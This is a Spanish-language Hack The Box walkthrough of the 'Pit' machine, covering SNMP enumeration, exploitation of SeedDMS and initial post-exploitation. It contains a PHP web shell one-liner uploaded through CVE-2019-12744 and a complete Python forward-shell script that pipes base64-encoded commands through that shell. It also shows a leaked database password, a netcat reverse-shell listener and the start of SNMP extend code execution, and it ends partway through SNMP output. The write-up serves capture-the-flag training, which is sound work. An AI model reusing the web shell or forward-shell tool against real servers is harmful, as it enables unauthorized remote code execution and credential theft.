Pit - Hack The Box
Reconnaissance
- Nmap
❯ nmap -sS --open -p- --min-rate 5000 -n -Pn 10.10.10.241
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 12:32 CEST
Nmap scan report for 10.10.10.241
Host is up (0.048s latency).
Not shown: 65500 filtered tcp ports (no-response), 32 filtered tcp ports (admin-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
9090/tcp open zeus-admin
Nmap done: 1 IP address (1 host up) scanned in 26.49 seconds
- Vulnerability and vesion scan
❯ nmap -sCV -p22,80,9090 10.10.10.241
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 12:33 CEST
Nmap scan report for 10.10.10.241
Host is up (0.054s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|_http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux
|_http-server-header: nginx/1.14.1
9090/tcp open http Cockpit web service 221 - 253
|_http-title: Did not follow redirect to https://10.10.10.241:9090/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.63 seconds
- Add domain to /etc/hosts
❯ echo "10.10.10.241 pit.htb" >> /etc/hosts
- UDP Scan
❯ nmap --top-ports 10 --open -n -Pn -sU 10.10.10.241
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-20 13:15 CEST
Nmap scan report for 10.10.10.241
Host is up (0.037s latency).
Not shown: 7 filtered udp ports (admin-prohibited)
PORT STATE SERVICE
123/udp open|filtered ntp
138/udp open|filtered netbios-dgm
161/udp open snmp
Nmap done: 1 IP address (1 host up) scanned in 5.02 seconds
- SNMP Scan
❯ snmpwalk -v2c -c public 10.10.10.241 . | grep -vE "INTEGER|Timeticks|scsi|irq|card0|xfs|\"\"|ccitt.0"
iso.3.6.1.2.1.1.1.0 = STRING: "Linux pit.htb 4.18.0-305.10.2.el8_4.x86_64 #1 SMP Tue Jul 20 17:25:16 UTC 2021 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.4.0 = STRING: "Root <root@localhost> (configure /etc/snmp/snmp.local.conf)"
iso.3.6.1.2.1.1.5.0 = STRING: "pit.htb"
iso.3.6.1.2.1.1.6.0 = STRING: "Unknown (edit /etc/snmp/snmpd.conf)"
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.25.4.2.1.2.1 = STRING: "systemd"
iso.3.6.1.2.1.25.4.2.1.2.2 = STRING: "kthreadd"
iso.3.6.1.2.1.25.4.2.1.2.3 = STRING: "rcu_gp"
iso.3.6.1.2.1.25.4.2.1.2.4 = STRING: "rcu_par_gp"
iso.3.6.1.2.1.25.4.2.1.2.6 = STRING: "kworker/0:0H-events_highpri"
iso.3.6.1.2.1.25.4.2.1.2.9 = STRING: "mm_percpu_wq"
iso.3.6.1.2.1.25.4.2.1.2.11 = STRING: "rcu_sched"
iso.3.6.1.2.1.25.4.2.1.2.12 = STRING: "migration/0"
iso.3.6.1.2.1.25.4.2.1.2.13 = STRING: "watchdog/0"
iso.3.6.1.2.1.25.4.2.1.2.14 = STRING: "cpuhp/0"
iso.3.6.1.2.1.25.4.2.1.2.15 = STRING: "cpuhp/1"
iso.3.6.1.2.1.25.4.2.1.2.16 = STRING: "watchdog/1"
iso.3.6.1.2.1.25.4.2.1.2.17 = STRING: "migration/1"
iso.3.6.1.2.1.25.4.2.1.2.20 = STRING: "kworker/1:0H-events_highpri"
iso.3.6.1.2.1.25.4.2.1.2.23 = STRING: "kdevtmpfs"
iso.3.6.1.2.1.25.4.2.1.2.24 = STRING: "netns"
iso.3.6.1.2.1.25.4.2.1.2.25 = STRING: "kauditd"
iso.3.6.1.2.1.25.4.2.1.2.26 = STRING: "khungtaskd"
iso.3.6.1.2.1.25.4.2.1.2.27 = STRING: "oom_reaper"
iso.3.6.1.2.1.25.4.2.1.2.28 = STRING: "writeback"
iso.3.6.1.2.1.25.4.2.1.2.29 = STRING: "kcompactd0"
iso.3.6.1.2.1.25.4.2.1.2.30 = STRING: "ksmd"
iso.3.6.1.2.1.25.4.2.1.2.31 = STRING: "khugepaged"
iso.3.6.1.2.1.25.4.2.1.2.32 = STRING: "crypto"
iso.3.6.1.2.1.25.4.2.1.2.33 = STRING: "kintegrityd"
iso.3.6.1.2.1.25.4.2.1.2.34 = STRING: "kblockd"
iso.3.6.1.2.1.25.4.2.1.2.35 = STRING: "blkcg_punt_bio"
iso.3.6.1.2.1.25.4.2.1.2.36 = STRING: "tpm_dev_wq"
iso.3.6.1.2.1.25.4.2.1.2.37 = STRING: "md"
iso.3.6.1.2.1.25.4.2.1.2.38 = STRING: "edac-poller"
iso.3.6.1.2.1.25.4.2.1.2.39 = STRING: "watchdogd"
iso.3.6.1.2.1.25.4.2.1.2.67 = STRING: "kswapd0"
iso.3.6.1.2.1.25.4.2.1.2.161 = STRING: "kthrotld"
iso.3.6.1.2.1.25.4.2.1.2.194 = STRING: "acpi_thermal_pm"
iso.3.6.1.2.1.25.4.2.1.2.195 = STRING: "kmpath_rdacd"
iso.3.6.1.2.1.25.4.2.1.2.196 = STRING: "kaluad"
iso.3.6.1.2.1.25.4.2.1.2.198 = STRING: "ipv6_addrconf"
iso.3.6.1.2.1.25.4.2.1.2.199 = STRING: "kstrp"
iso.3.6.1.2.1.25.4.2.1.2.312 = STRING: "kworker/1:1H-kblockd"
iso.3.6.1.2.1.25.4.2.1.2.516 = STRING: "ata_sff"
iso.3.6.1.2.1.25.4.2.1.2.520 = STRING: "mpt_poll_0"
iso.3.6.1.2.1.25.4.2.1.2.522 = STRING: "mpt/0"
iso.3.6.1.2.1.25.4.2.1.2.555 = STRING: "ttm_swap"
iso.3.6.1.2.1.25.4.2.1.2.629 = STRING: "kworker/u4:28-events_unbound"
iso.3.6.1.2.1.25.4.2.1.2.692 = STRING: "kdmflush"
iso.3.6.1.2.1.25.4.2.1.2.702 = STRING: "kdmflush"
iso.3.6.1.2.1.25.4.2.1.2.830 = STRING: "systemd-journal"
iso.3.6.1.2.1.25.4.2.1.2.864 = STRING: "systemd-udevd"
iso.3.6.1.2.1.25.4.2.1.2.922 = STRING: "kdmflush"
iso.3.6.1.2.1.25.4.2.1.2.925 = STRING: "hwmon0"
iso.3.6.1.2.1.25.4.2.1.2.949 = STRING: "jbd2/sda1-8"
iso.3.6.1.2.1.25.4.2.1.2.950 = STRING: "ext4-rsv-conver"
iso.3.6.1.2.1.25.4.2.1.2.974 = STRING: "auditd"
iso.3.6.1.2.1.25.4.2.1.2.976 = STRING: "sedispatch"
iso.3.6.1.2.1.25.4.2.1.2.1008 = STRING: "dbus-daemon"
iso.3.6.1.2.1.25.4.2.1.2.1009 = STRING: "polkitd"
iso.3.6.1.2.1.25.4.2.1.2.1012 = STRING: "VGAuthService"
iso.3.6.1.2.1.25.4.2.1.2.1013 = STRING: "vmtoolsd"
iso.3.6.1.2.1.25.4.2.1.2.1015 = STRING: "sssd"
iso.3.6.1.2.1.25.4.2.1.2.1020 = STRING: "chronyd"
iso.3.6.1.2.1.25.4.2.1.2.1031 = STRING: "rngd"
iso.3.6.1.2.1.25.4.2.1.2.1057 = STRING: "sssd_be"
iso.3.6.1.2.1.25.4.2.1.2.1065 = STRING: "sssd_nss"
iso.3.6.1.2.1.25.4.2.1.2.1069 = STRING: "firewalld"
iso.3.6.1.2.1.25.4.2.1.2.1085 = STRING: "systemd-logind"
iso.3.6.1.2.1.25.4.2.1.2.1096 = STRING: "NetworkManager"
iso.3.6.1.2.1.25.4.2.1.2.1109 = STRING: "sshd"
iso.3.6.1.2.1.25.4.2.1.2.1111 = STRING: "tuned"
iso.3.6.1.2.1.25.4.2.1.2.1128 = STRING: "crond"
iso.3.6.1.2.1.25.4.2.1.2.1148 = STRING: "nginx"
iso.3.6.1.2.1.25.4.2.1.2.1150 = STRING: "nginx"
iso.3.6.1.2.1.25.4.2.1.2.1151 = STRING: "nginx"
iso.3.6.1.2.1.25.4.2.1.2.1204 = STRING: "mysqld"
iso.3.6.1.2.1.25.4.2.1.2.1213 = STRING: "agetty"
iso.3.6.1.2.1.25.4.2.1.2.1349 = STRING: "snmpd"
iso.3.6.1.2.1.25.4.2.1.2.1351 = STRING: "rsyslogd"
iso.3.6.1.2.1.25.4.2.1.2.2213 = STRING: "kworker/0:4-events"
iso.3.6.1.2.1.25.4.2.1.2.3131 = STRING: "kworker/1:7-events"
iso.3.6.1.2.1.25.4.2.1.2.3960 = STRING: "anacron"
iso.3.6.1.2.1.25.4.2.1.2.4257 = STRING: "kworker/0:2-events"
iso.3.6.1.2.1.25.4.2.1.2.4259 = STRING: "kworker/1:1-events"
iso.3.6.1.2.1.25.4.2.1.2.4291 = STRING: "kworker/u4:1-flush-253:0"
iso.3.6.1.2.1.25.4.2.1.2.4347 = STRING: "kworker/1:2-events"
iso.3.6.1.2.1.25.4.2.1.2.4353 = STRING: "kworker/1:3-cgroup_pidlist_destroy"
iso.3.6.1.2.1.25.4.2.1.2.4382 = STRING: "php-fpm"
iso.3.6.1.2.1.25.4.2.1.2.4383 = STRING: "php-fpm"
iso.3.6.1.2.1.25.4.2.1.2.4384 = STRING: "php-fpm"
iso.3.6.1.2.1.25.4.2.1.2.4385 = STRING: "php-fpm"
iso.3.6.1.2.1.25.4.2.1.2.4386 = STRING: "php-fpm"
iso.3.6.1.2.1.25.4.2.1.2.4387 = STRING: "php-fpm"
iso.3.6.1.2.1.25.4.2.1.4.1 = STRING: "/usr/lib/systemd/systemd"
iso.3.6.1.2.1.25.4.2.1.4.830 = STRING: "/usr/lib/systemd/systemd-journald"
iso.3.6.1.2.1.25.4.2.1.4.864 = STRING: "/usr/lib/systemd/systemd-udevd"
iso.3.6.1.2.1.25.4.2.1.4.974 = STRING: "/sbin/auditd"
iso.3.6.1.2.1.25.4.2.1.4.976 = STRING: "/usr/sbin/sedispatch"
iso.3.6.1.2.1.25.4.2.1.4.1008 = STRING: "/usr/bin/dbus-daemon"
iso.3.6.1.2.1.25.4.2.1.4.1009 = STRING: "/usr/lib/polkit-1/polkitd"
iso.3.6.1.2.1.25.4.2.1.4.1012 = STRING: "/usr/bin/VGAuthService"
iso.3.6.1.2.1.25.4.2.1.4.1013 = STRING: "/usr/bin/vmtoolsd"
iso.3.6.1.2.1.25.4.2.1.4.1015 = STRING: "/usr/sbin/sssd"
iso.3.6.1.2.1.25.4.2.1.4.1020 = STRING: "/usr/sbin/chronyd"
iso.3.6.1.2.1.25.4.2.1.4.1031 = STRING: "/sbin/rngd"
iso.3.6.1.2.1.25.4.2.1.4.1057 = STRING: "/usr/libexec/sssd/sssd_be"
iso.3.6.1.2.1.25.4.2.1.4.1065 = STRING: "/usr/libexec/sssd/sssd_nss"
iso.3.6.1.2.1.25.4.2.1.4.1069 = STRING: "/usr/libexec/platform-python"
iso.3.6.1.2.1.25.4.2.1.4.1085 = STRING: "/usr/lib/systemd/systemd-logind"
iso.3.6.1.2.1.25.4.2.1.4.1096 = STRING: "/usr/sbin/NetworkManager"
iso.3.6.1.2.1.25.4.2.1.4.1109 = STRING: "/usr/sbin/sshd"
iso.3.6.1.2.1.25.4.2.1.4.1111 = STRING: "/usr/libexec/platform-python"
iso.3.6.1.2.1.25.4.2.1.4.1128 = STRING: "/usr/sbin/crond"
iso.3.6.1.2.1.25.4.2.1.4.1148 = STRING: "nginx: master process /usr/sbin/nginx"
iso.3.6.1.2.1.25.4.2.1.4.1150 = STRING: "nginx: worker process"
iso.3.6.1.2.1.25.4.2.1.4.1151 = STRING: "nginx: worker process"
iso.3.6.1.2.1.25.4.2.1.4.1204 = STRING: "/usr/libexec/mysqld"
iso.3.6.1.2.1.25.4.2.1.4.1213 = STRING: "/sbin/agetty"
iso.3.6.1.2.1.25.4.2.1.4.1349 = STRING: "/usr/sbin/snmpd"
iso.3.6.1.2.1.25.4.2.1.4.1351 = STRING: "/usr/sbin/rsyslogd"
iso.3.6.1.2.1.25.4.2.1.4.3960 = STRING: "/usr/sbin/anacron"
iso.3.6.1.2.1.25.4.2.1.4.4382 = STRING: "php-fpm: master process (/etc/php-fpm.conf)"
iso.3.6.1.2.1.25.4.2.1.4.4383 = STRING: "php-fpm: pool www"
iso.3.6.1.2.1.25.4.2.1.4.4384 = STRING: "php-fpm: pool www"
iso.3.6.1.2.1.25.4.2.1.4.4385 = STRING: "php-fpm: pool www"
iso.3.6.1.2.1.25.4.2.1.4.4386 = STRING: "php-fpm: pool www"
iso.3.6.1.2.1.25.4.2.1.4.4387 = STRING: "php-fpm: pool www"
iso.3.6.1.2.1.25.4.2.1.5.1 = STRING: "--switched-root --system --deserialize 17"
iso.3.6.1.2.1.25.4.2.1.5.1008 = STRING: "--system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only"
iso.3.6.1.2.1.25.4.2.1.5.1009 = STRING: "--no-debug"
iso.3.6.1.2.1.25.4.2.1.5.1012 = STRING: "-s"
iso.3.6.1.2.1.25.4.2.1.5.1015 = STRING: "-i --logger=files"
iso.3.6.1.2.1.25.4.2.1.5.1016 = STRING: "--foreground"
iso.3.6.1.2.1.25.4.2.1.5.1031 = STRING: "-f --fill-watermark=0"
iso.3.6.1.2.1.25.4.2.1.5.1057 = STRING: "--domain implicit_files --uid 0 --gid 0 --logger=files"
iso.3.6.1.2.1.25.4.2.1.5.1065 = STRING: "--uid 0 --gid 0 --logger=files"
iso.3.6.1.2.1.25.4.2.1.5.1069 = STRING: "-s /usr/sbin/firewalld --nofork --nopid"
iso.3.6.1.2.1.25.4.2.1.5.1096 = STRING: "--no-daemon"
iso.3.6.1.2.1.25.4.2.1.5.1109 = STRING: "-D -oCiphers=aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128"
iso.3.6.1.2.1.25.4.2.1.5.1111 = STRING: "-Es /usr/sbin/tuned -l -P"
iso.3.6.1.2.1.25.4.2.1.5.1128 = STRING: "-n"
iso.3.6.1.2.1.25.4.2.1.5.1204 = STRING: "--basedir=/usr"
iso.3.6.1.2.1.25.4.2.1.5.1213 = STRING: "-o -p -- \\u --noclear tty1 linux"
iso.3.6.1.2.1.25.4.2.1.5.1349 = STRING: "-LS0-6d -f"
iso.3.6.1.2.1.25.4.2.1.5.1351 = STRING: "-n"
iso.3.6.1.2.1.25.4.2.1.5.3960 = STRING: "-s"
iso.3.6.1.4.1.2021.2.1.2.1 = STRING: "nginx"
iso.3.6.1.4.1.2021.9.1.2.1 = STRING: "/"
iso.3.6.1.4.1.2021.9.1.2.2 = STRING: "/var/www/html/seeddms51x/seeddms"
iso.3.6.1.4.1.2021.9.1.3.1 = STRING: "/dev/mapper/cl-root"
iso.3.6.1.4.1.2021.9.1.3.2 = STRING: "/dev/mapper/cl-seeddms"
iso.3.6.1.4.1.2021.9.1.11.1 = Gauge32: 2611200
iso.3.6.1.4.1.2021.9.1.11.2 = Gauge32: 125600
iso.3.6.1.4.1.2021.9.1.12.1 = Gauge32: 0
iso.3.6.1.4.1.2021.9.1.12.2 = Gauge32: 0
iso.3.6.1.4.1.2021.9.1.13.1 = Gauge32: 374968
iso.3.6.1.4.1.2021.9.1.13.2 = Gauge32: 75496
iso.3.6.1.4.1.2021.9.1.14.1 = Gauge32: 0
iso.3.6.1.4.1.2021.9.1.14.2 = Gauge32: 0
iso.3.6.1.4.1.2021.9.1.15.1 = Gauge32: 2236232
iso.3.6.1.4.1.2021.9.1.15.2 = Gauge32: 50104
iso.3.6.1.4.1.2021.9.1.16.1 = Gauge32: 0
iso.3.6.1.4.1.2021.9.1.16.2 = Gauge32: 0
iso.3.6.1.4.1.8072.1.3.2.2.1.2.6.109.101.109.111.114.121 = STRING: "/usr/bin/free"
iso.3.6.1.4.1.8072.1.3.2.2.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "/usr/bin/monitor"
iso.3.6.1.4.1.8072.1.3.2.3.1.1.6.109.101.109.111.114.121 = STRING: " total used free shared buff/cache available"
iso.3.6.1.4.1.8072.1.3.2.3.1.1.10.109.111.110.105.116.111.114.105.110.103 = STRING: "Database status"
iso.3.6.1.4.1.8072.1.3.2.3.1.2.6.109.101.109.111.114.121 = STRING: " total used free shared buff/cache available
Mem: 4023492 314992 3394368 8764 314132 3464124
Swap: 1961980 0 1961980"
iso.3.6.1.4.1.8072.1.3.2.3.1.2.10.109.111.110.105.116.111.114.105.110.103 = STRING: "Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r
user_u user s0 s0 user_r
xguest_u user s0 s0 xguest_r
login
Login Name SELinux User MLS/MCS Range Service
__default__ unconfined_u s0-s0:c0.c1023 *
michelle user_u s0 *
root unconfined_u s0-s0:c0.c1023 *
System uptime
07:52:09 up 1:21, 0 users, load average: 0.08, 0.03, 0.08"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.6.109.101.109.111.114.121.1 = STRING: " total used free shared buff/cache available"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.6.109.101.109.111.114.121.2 = STRING: "Mem: 4023492 314992 3394368 8764 314132 3464124"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.6.109.101.109.111.114.121.3 = STRING: "Swap: 1961980 0 1961980"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.1 = STRING: "Database status"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.2 = STRING: "OK - Connection to database successful."
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.3 = STRING: "System release info"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.4 = STRING: "CentOS Linux release 8.3.2011"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.5 = STRING: "SELinux Settings"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.6 = STRING: "user"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.8 = STRING: " Labeling MLS/ MLS/ "
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.9 = STRING: "SELinux User Prefix MCS Level MCS Range SELinux Roles"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.11 = STRING: "guest_u user s0 s0 guest_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.12 = STRING: "root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.13 = STRING: "staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.14 = STRING: "sysadm_u user s0 s0-s0:c0.c1023 sysadm_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.15 = STRING: "system_u user s0 s0-s0:c0.c1023 system_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.16 = STRING: "unconfined_u user s0 s0-s0:c0.c1023 system_r unconfined_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.17 = STRING: "user_u user s0 s0 user_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.18 = STRING: "xguest_u user s0 s0 xguest_r"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.19 = STRING: "login"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.21 = STRING: "Login Name SELinux User MLS/MCS Range Service"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.23 = STRING: "__default__ unconfined_u s0-s0:c0.c1023 *"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.24 = STRING: "michelle user_u s0 *"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.25 = STRING: "root unconfined_u s0-s0:c0.c1023 *"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.26 = STRING: "System uptime"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.27 = STRING: " 07:52:09 up 1:21, 0 users, load average: 0.08, 0.03, 0.08"
iso.3.6.1.4.1.8072.1.3.2.4.1.2.10.109.111.110.105.116.111.114.105.110.103.27 = No more variables left in this MIB View (It is past the end of the MIB tree)
Entre todo el output vemos un proceso que nos puede ser util: /var/www/html/seeddms51x/seeddms. Parece un subdominio con el gestor SeedDMS.
- Add subdomain to /etc/hosts
❯ echo "10.10.10.241 dms-pit.htb" >> /etc/hosts
- Connect to SeedDMS
Gracias a la información anterior, podemos saber que la ruta donde se aleja el servidor web es /seeddms51x/seeddms, además sabemos que existe un usuario michelle, el cual podemos probar a iniciar sesión con la contraseña michelle.
- Information leakage
Exploitation
- SeedDMS RCE via file upload (CVE-2019–12744)
❯ echo "<?php system(\$_GET['cmd']) ?>" > cmd.php
Primero creamos el documento con el script malicioso en php. Una vez creado necesitamos el id del documento, para ello podemos ver el link de la descarga.
Podemos apuntar hacia el archivo en la siguiente ruta: /seeddms51x/data/1048576/{id}}/1.php
- Forward Shell
#!/usr/bin/env python3
import requests
import time
import signal
import sys
from termcolor import colored
from base64 import b64encode
from random import randrange
def def_handler(sig,frame):
print(colored(f"\n\n[!] Saliendo...", 'red'))
my_forward_shell.remove_data()
sys.exit(1)
signal.signal(signal.SIGINT, def_handler)
class ForwardShell():
def __init__(self):
session = randrange(1000,9999)
self.main_url = "http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd="
self.stdin= f"/dev/shm/{session}.input"
self.stdout= f"/dev/shm/{session}.output"
self.is_pseudo_terminal=False
def run_command(self, command):
command = b64encode(command.encode()).decode()
data = {
'cmd' : 'echo "%s" | base64 -d | /bin/sh' %command
}
try:
r= requests.get(self.main_url,params=data, timeout=5)
return r.text
except:
pass
def write_stdin(self, command):
command= b64encode(command.encode()).decode()
data ={
'cmd': 'echo "%s" | base64 -d > %s' % (command, self.stdin)
}
requests.get(self.main_url, params=data)
def read_stdout(self):
for _ in range(5):
read_stdout_command = f"/bin/cat {self.stdout}"
output_command=self.run_command(read_stdout_command)
return output_command
def setup_shell(self):
command = f"mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s" % (self.stdin,self.stdin,self.stdout)
self.run_command(command)
def remove_data(self):
remove_data_command= f"/bin/rm {self.stdin} {self.stdout}"
self.run_command(remove_data_command)
def clear_stdout(self):
clear_stdout_command= f"echo '' > {self.stdout}"
self.run_command(clear_stdout_command)
def run(self):
self.setup_shell()
while True:
command = input(colored(">> ", "yellow"))
if "script /dev/null -c bash" in command:
print(colored(f"\n[+] Se ha iniciado una pseudo-terminal\n", "blue"))
self.is_pseudo_terminal = True
for key,value in self.help_options.items():
print(f"\t{key} - {value}")
print("\n")
continue
self.write_stdin(command + "\n")
output_command= self.read_stdout()
if command.strip()== "exit":
self.is_pseudo_terminal = False
print(colored(f"\n[!] Se ha salido de la pseudo-terminal\n", "red"))
self.clear_stdout()
continue
if self.is_pseudo_terminal:
lines = output_command.split('\n')
if len(lines) == 3:
cleared_output = '\n'.join([lines[-1]] + lines[:1])
elif len(lines) > 3:
cleared_output = '\n'.join([lines[-1]] + lines[:1] + lines[2:-1])
print("\n"+ cleared_output + "\n")
else:
print(output_command)
self.clear_stdout()
if __name__ == '__main__':
my_forward_shell = ForwardShell()
my_forward_shell.run()
❯ rlwrap python3 forward_shell.py
rlwrap: warning: could not set locale
warnings can be silenced by the --no-warnings (-n) option
Post-exploitation
>> whoami
nginx
>> ls ../..
1048576
backup
cache
conf
log
lucene
staging
>> cd ../../conf
>> ls
settings.xml
settings.xml.template
stopwords.txt
>> cat settings.xml
...
<database dbDriver="mysql" dbHostname="localhost" dbDatabase="seeddms" dbUser="seeddms" dbPass="ied^ieY6xoquu" doNotCheckVersion="false">
...
Encontramos una credencial: “ied^ieY6xoquu”, podemos probarla en el panel de CentOS.
- Send reverse shell
❯ nc -nlvp 9000
listening on [any] 9000 ...
connect to [10.10.16.7] from (UNKNOWN) [10.10.10.241] 38144
[michelle@pit ~]$
- SNMP Code Execution
snmpbulkwalk -v2c -c public 10.10.10.241 1
NET-SNMP-EXTEND-MIB::nsExtendCommand."monitoring" = STRING: /usr/bin/monitor
NET-SNMP-EXTEND-MIB::nsExtendArgs."memory" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendArgs."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."memory" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendInput."monitoring" = STRING:
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."memory" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendCacheTime."monitoring" = INTEGER: 5
NET-SNMP-EXTEND-MIB::nsExtendExecType."memory" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendExecType."monitoring" = INTEGER: exec(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."memory" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendRunType."monitoring" = INTEGER: run-on-read(1)
NET-SNMP-EXTEND-MIB::nsExtendStorage."memory" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStorage."monitoring" = INTEGER: permanent(4)
NET-SNMP-EXTEND-MIB::nsExtendStatus."memory" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendStatus."monitoring" = INTEGER: active(1)
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."memory" = STRING: total used free shared buff/cache available
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."monitoring" = STRING: Database status
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."memory" = STRING: total used free shared buff/cache available
Mem: 4023500 368524 3326800 8808 328176 3422476
Swap: 1961980 0 1961980
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."monitoring" = STRING: Database status
OK - Connection to database successful.
System release info
CentOS Linux release 8.3.2011
SELinux Settings
user
Labeling MLS/ MLS/
SELinux User Prefix MCS Level MCS Range SELinux Roles
guest_u user s0 s0 guest_r
root user s0 s0-s0:c0.c1023 staff_r sysadm_r system_r unconfined_r
staff_u user s0 s0-s0:c0.c1023 staff_r sysadm_r unconfined_r
sysadm_u user s0 s0-s0:c0.c1023 sysadm_r
system_u user s0 s0-s0:c0.c1023 system_r unconfined_r
